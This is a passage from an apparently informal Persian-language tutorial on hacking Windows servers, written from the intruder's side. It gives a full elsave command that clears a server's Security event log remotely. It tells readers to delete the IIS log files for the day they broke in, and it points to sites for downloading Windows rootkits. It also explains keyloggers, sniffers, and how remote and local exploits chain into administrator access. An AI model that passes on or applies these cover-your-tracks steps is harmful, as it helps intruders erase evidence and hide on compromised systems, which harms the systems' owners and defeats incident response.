گفتم که بين همه لاگها اين مهمتره، حالا ميخوام اين فايل رو پاک کنم. براي اين کار ابزاري هست به نام elsave که به صورت ريموت اين کار رو ميکنه. مثلا اگه بنويسم: elsave -s \\xxx.xxx.xxx.xxx -l "Security" -Cبه صورت ريموت سکيورتيلاگ رو پاک ميکنه ( قبلش بايد يک session ميداشتم تا اين دستور کار کنه) دقت کنيد که به صورت لوکال و با دستور del نميشه اين فايلهاي لاگ رو پاک کرد!
+ ابزارهاي ديگه از NTRK در اين زمينه:
ابزارهاي ديگهاي هم هستند مثل dumpel که در گزارش گيري از لاگها و ... کاربرد دارند.
ب- IIS گزارشها رو در کجا ذخيره ميکند؟
IIS رفيق فابريک منه! وقتي شما يک سايت رو ميريد و ميبينيد ( يا توسط يک باگ در IIS به سيستم وارد ميشويد ) فعاليتهاي شما در فايلي ذخيره و Log ميشود. اول اين نکته رو ميدونيد که يک سرور ميتونه توش سايتهاي مختلف و Virtual Diectory هاي مختلفي باشه. هر کدام از اين سايتها لاگ IIS مخصوص به خود خواهند داشت. مسيري که لاگهاي IIS قرار ميگيرند، اينه: %SystemRoot%\System32\LogFilesدر اين فولدر، زيرشاخهها ( فولدرهاي جديدي ) هست. به اين ترتيب که واسه هر سايتي يه فولدر هست. اسم اين فولدرها به صورت W3SVC1 و W3SVC2 و ... است. داخل اين فولدرها فايلهاي لاگ جاي دارند. حالت پيشفرض اينه که گزارشهاي هر روز سايت داخل يک فايل ذخيره ميشه. اسم فايل جور خاصي است که تاريخ ( سال - ماه - روز ) رو نشون بده. مثلا اگه فولدر وربوط به يک سايتي W3SVC1 و تاريخ مورد نظر ما سال ۲۰۰۳ و ماه ۹ و روز ۱۲ باشه، اسم فايل لاگ اين خواهد بود: %SystemRoot%\System32\LogFiles\برخلاف فايلهاي لاگ ويندوز که با دستور del قابل پاککردن نبود، فايلهاي لاگ IIS خيلي شيک با del پاک ميشه ( چون ويندوز اين فايلها رو Lock نميکنه). بنابراين ما بايد تمام لاگهاي مربوط به روز خاصي که جايي رو هک کردهايم رو پاک کنيم!
- RootKit چيست؟
دليل اصلي استفاده از rootkit ها اين است که هکر بتونه براي مدت بيشتري در کامپيوتر قرباني دوام بياره. فرض کنيد که يک تروجان به کامپيوتر قرباني فرستادهايد يا از کامپيوتر قرباني براي يک DDoS گسترده ميخواين استفاده کنيد. مسلم است که اگه طرف مقابل آدم مجربي باشه، با کمي بررسي سيستمعامل خود پي خواهد برد که يک SpyWare در کامپيوترش هست. ولي وقتي Rootkit استفاده بشه، سيستمعامل جوري تغيير ميکنه که اين تغييرات نشون داده نشه. به عنوان مثال يکي از راههايي که مسوول سرور ميفهمه که کامپيوترش هک شده و يک سرور ( تروجان ) ناخواسته داره، بررسي پورتهاي باز کامپيوتر توسط دستور netstat است. حالا اگه ما اين دستور رو جوري تغيير دهيم ( يعني اگه يک نسخه جديد از اين برنامه با توجه به نيازهامان ايجاد کرده و در کامپيوتر قرباني نصب کنيم ) در واقع اين روش رو غير فعال کردهايم. rootkit ها مي تونند خود سيستمعامل رو هدف قرار بدهند. مسلم است که نوشتن يک rootkit براي سيستمعاملهاي open-source مثل linux بسيار راحتتر از ايجاد rootkit براي ويندوز است. اما بايد توجه کنيد که rootkit رو ميشه به دو دسته تقسيم کرد:
۱- آن دسته از Rootkit هايي که قسمتهايي از سيستمعامل ( تعدادي از فايلهاي اجرايي اونو ) تغيير ميدهند. مثلا بعضي Registry Key ها رو مخفي کنند يا مخفي کردن پروسسها يا محفي کردن فايلهاي تروجان و ... همچين rootkit هايي براي ويندوز طراحي شده اند.
۲- آن دسته از Rootkit هايي که در سطح هسته ( کرنل ) سيستمعامل عمل ميکنند. براي اينگونه از rootkit ها براي مثلا لينوکس مثالهايي هست ولي براي ويندوز ( خصوصا ويندوز سرورها که بحث ماست ) من مثالي که واقعا کار کنه و detect هم نشوند، سراغ ندارم.
چند سايت در اين زمينه:
http://www.rootkit.com و http://www.ntndis.com/downloads.shtml (نسخه آلفا از NT Rootkit )
http://www.pestpatrol.com/Support/Downloads.asp ( به نام AFX Windows Rootkit 2003 )
و ...
- Keystroke Loggers و Sniffers
بحث keylogger ها و sniffer ها يه درس مفصل رو طلب ميکنه. فقط يه اشاره بکنم:
sniffer ها کارشون اينه که پکتهايي را که در شبکه ردو بدل ميشوند، براي هکر ذخيره ميکنند ( خود LC4 که توضيح دادمش، يک ابزار packet capture يا sniffer توش داره که challenge/response هاي LM و NTLM رو لاگ ميکنه. بعدا توضيح خواهم داد )
keylogger ها هم کارشون اينه که کليدهايي که فشرده ميشوند ( مثلا از طريق keyboard ) رو ذخيره ميکنند. مثلا وقتي کسي که کامپيوترش هک شده، و هکر يه keylogger روي کامپيوتر طرف نصب کرده است، وقتي قرباني معصوم مياد و پسورد يه جايي رو وارد ميکنه، اين رشته ذخيره ميشه و هکر هم اطلاعات رو ميگيره و کيف ميکنه
- انواع exploit ها
انواع exploit ها يه تقسيمبندي کلي در مورد هک کردن هر نوع سيستمعاملي است. چه ويندوز و چه غيرويندوز:
۱- remote exploits: مجموعهاي از exploit ها که ما از يک کامپيوتر ديگه ( مثلا کامپيوتر خودمون ) توسط اونا به يک کامپيوتر در شبکه نفوذ ميکنيم. اين exploit ها معمولا در موارد اوليه هک استفاده ميشوند. در صورت استفاده از اين exploit ها در ويندوز ممکن است دسترسي در سطح Admin رو به ما ندهند ولي وارد شدن به سيستم حتي به صورت يک اکانت محدود هم لازم است تا توسط exploitهاي local دسترسي رو بالاتر ببريم. وقتي به کمک يک vulnerability scanner يک کامپيوتر رو از نظر حفرههاي امنيتي تست ميکنيم، معمولا نهايتا به همين نوع exploit ها ميرسيم.
۲- local exploits: اين exploit ها موقعي کاربرد دارند که يک console ( يا همون shell خودمون ) در سيستم داشته باشيم. به عبارت ديگه قبلا به طريقي به يک سيستم وارد شدهايم ( توسط remote exploit يا داشتن اکانتهاي محدود ) و حالا ميخواهيم که دسترسي خودمون رو گسترش بديم. مثلا ما الان به صورت guest وارد شدهايم ولي ميخواهيم به دسترسي Admin برسيم. بنابراين مهمترين انواع اين exploit ها در ويندوز عبارتند از get admin ها يعني اونايي که ما رو از يک اکانت محدود به اکانت Administrator ميرسونند.
توضيحي که بايد بدم اينه که اين دو نوع exploit مکمل همديگرند. ( البته خيلي از exploit ها هستند که هم به صورت local و هم به صورت remote قابل استفاده هستند ). به عنوان يک هکر، اول کشف ميکنيم که مثلا اين سيستمعامل يک ويندوز ۲۰۰۰ سرور است. حالا به طريقي يه exploit از نوع remote بدست مياوريم ( اگه قبلا يک اکانت در اون سرور بدست آوردهايم، ممکن است لزومي به اين مرحله نباشد ). حالا اگه به shell رسيديم و بخواهيم به فولدري دسترسي داشته باشيم که با اين shell نو رسيده! با توجه به مجوزهايش قابل دسترس نباشد، بايد از local exploit ها استفاده کنيم. ( اگه به فولدر مورد نظر دسترسي داشتيم که ديگه لازم نيست). خلاصه اينکه ممکن است در مواردي نياز به remote exploit يا local exploit يا هردو نباشد ولي بتونيم هک کنيم. به عبارت بهتر شرايط تعيين ميکنه که به چه نوع exploit هايي نياز داريم.
ادامه درسهاي هک ويندوز سرور در واقع چيزي جز بررسي اين دو نوع exploit نيست.